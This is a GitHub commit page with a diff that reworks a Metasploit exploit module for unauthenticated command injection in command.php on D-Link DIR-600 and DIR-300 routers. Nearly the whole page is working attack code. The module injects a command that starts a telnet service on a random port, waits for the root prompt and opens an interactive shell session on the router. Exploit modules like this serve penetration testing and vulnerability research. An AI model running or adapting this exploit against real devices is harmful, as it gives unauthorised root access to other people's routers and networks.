Skip to content

Commit c4aa557

Browse files
committed
Land rapid7#2292 - Fix the way to get a session over a telnet connection
2 parents 5b32c63 + 0bfc12a commit c4aa557

File tree

1 file changed

+69
-78
lines changed

1 file changed

+69
-78
lines changed

modules/exploits/linux/http/dlink_command_php_exec_noauth.rb

Lines changed: 69 additions & 78 deletions
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,6 @@ class Metasploit3 < Msf::Exploit::Remote
1111
Rank = ExcellentRanking
1212

1313
include Msf::Exploit::Remote::HttpClient
14-
include Msf::Auxiliary::CommandShell
1514

1615
def initialize(info = {})
1716
super(update_info(info,
@@ -20,10 +19,7 @@ def initialize(info = {})
2019
Different D-Link Routers are vulnerable to OS command injection via the web
2120
interface. The vulnerability exists in command.php, which is accessible without
2221
authentication. This module has been tested with the versions DIR-600 2.14b01,
23-
DIR-300 rev B 2.13. Two target are included, the first one starts a telnetd service
24-
and establish a session over it, the second one runs commands via the CMD target.
25-
There is no wget or tftp client to upload an elf backdoor easily. According to the
26-
vulnerability discoverer, more D-Link devices may affected.
22+
DIR-300 rev B 2.13.
2723
},
2824
'Author' =>
2925
[
@@ -42,61 +38,45 @@ def initialize(info = {})
4238
],
4339
'DisclosureDate' => 'Feb 04 2013',
4440
'Privileged' => true,
45-
'Platform' => ['linux','unix'],
46-
'Payload' =>
41+
'Platform' => 'unix',
42+
'Arch' => ARCH_CMD,
43+
'Payload' =>
4744
{
48-
'DisableNops' => true,
45+
'Compat' => {
46+
'PayloadType' => 'cmd_interact',
47+
'ConnectionType' => 'find',
48+
},
4949
},
50+
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
5051
'Targets' =>
5152
[
52-
[ 'CMD', #all devices
53-
{
54-
'Arch' => ARCH_CMD,
55-
'Platform' => 'unix'
56-
}
57-
],
58-
[ 'Telnet', #all devices - default target
59-
{
60-
'Arch' => ARCH_CMD,
61-
'Platform' => 'unix'
62-
}
63-
],
53+
[ 'Automatic', { } ]
6454
],
65-
'DefaultTarget' => 1
55+
'DefaultTarget' => 0
6656
))
67-
end
6857

69-
def exploit
70-
if target.name =~ /CMD/
71-
exploit_cmd
72-
else
73-
exploit_telnet
74-
end
58+
register_advanced_options(
59+
[
60+
OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]),
61+
OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]),
62+
OptInt.new('SessionTimeout', [ true, 'The number of seconds to wait before building the session on the telnet connection', 10])
63+
], self.class)
64+
7565
end
7666

77-
def exploit_cmd
78-
if not (datastore['CMD'])
79-
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
80-
end
81-
cmd = "#{payload.encoded}; echo end"
82-
print_status("#{rhost}:#{rport} - Sending exploit request...")
83-
res = request(cmd)
84-
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux, HTTP\/1.1, DIR/)
85-
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
86-
end
67+
def tel_timeout
68+
(datastore['TelnetTimeout'] || 10).to_i
69+
end
8770

88-
if res.body.include?("end")
89-
print_good("#{rhost}:#{rport} - Exploited successfully\n")
90-
vprint_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
91-
vprint_line("#{rhost}:#{rport} - Output: #{res.body}")
92-
else
93-
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
94-
end
71+
def banner_timeout
72+
(datastore['TelnetBannerTimeout'] || 25).to_i
73+
end
9574

96-
return
75+
def session_timeout
76+
(datastore['SessionTimeout'] || 10).to_i
9777
end
9878

99-
def exploit_telnet
79+
def exploit
10080
telnetport = rand(65535)
10181

10282
print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}")
@@ -107,39 +87,33 @@ def exploit_telnet
10787
print_status("#{rhost}:#{rport} - Sending exploit request...")
10888
request(cmd)
10989

110-
begin
111-
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
90+
print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
91+
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
11292

113-
if sock
114-
print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
115-
add_socket(sock)
116-
else
117-
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
118-
end
93+
if sock.nil?
94+
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
95+
end
11996

120-
print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"
121-
auth_info = {
122-
:host => rhost,
123-
:port => telnetport,
124-
:sname => 'telnet',
125-
:user => "",
126-
:pass => "",
127-
:source_type => "exploit",
128-
:active => true
129-
}
130-
report_auth_info(auth_info)
131-
merge_me = {
132-
'USERPASS_FILE' => nil,
133-
'USER_FILE' => nil,
134-
'PASS_FILE' => nil,
135-
'USERNAME' => nil,
136-
'PASSWORD' => nil
137-
}
138-
start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
139-
rescue
140-
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service")
97+
print_status("#{rhost}:#{rport} - Trying to establish a telnet session...")
98+
prompt = negotiate_telnet(sock)
99+
if prompt.nil?
100+
sock.close
101+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session")
102+
else
103+
print_good("#{rhost}:#{rport} - Telnet session successfully established... trying to connect")
104+
end
105+
106+
print_status("#{rhost}:#{rport} - Trying to create the Msf session...")
107+
begin
108+
Timeout.timeout(session_timeout) do
109+
activated = handler(sock)
110+
while(activated !~ /claimed/)
111+
activated = handler(sock)
112+
end
113+
end
114+
rescue ::Timeout::Error
115+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a Msf session")
141116
end
142-
return
143117
end
144118

145119
def request(cmd)
@@ -156,7 +130,24 @@ def request(cmd)
156130
})
157131
return res
158132
rescue ::Rex::ConnectionError
159-
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
133+
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not connect to the webservice")
160134
end
161135
end
136+
137+
def negotiate_telnet(sock)
138+
begin
139+
Timeout.timeout(banner_timeout) do
140+
while(true)
141+
data = sock.get_once(-1, tel_timeout)
142+
return nil if not data or data.length == 0
143+
if data =~ /\x23\x20$/
144+
return true
145+
end
146+
end
147+
end
148+
rescue ::Timeout::Error
149+
return nil
150+
end
151+
end
152+
162153
end

0 commit comments

Comments
 (0)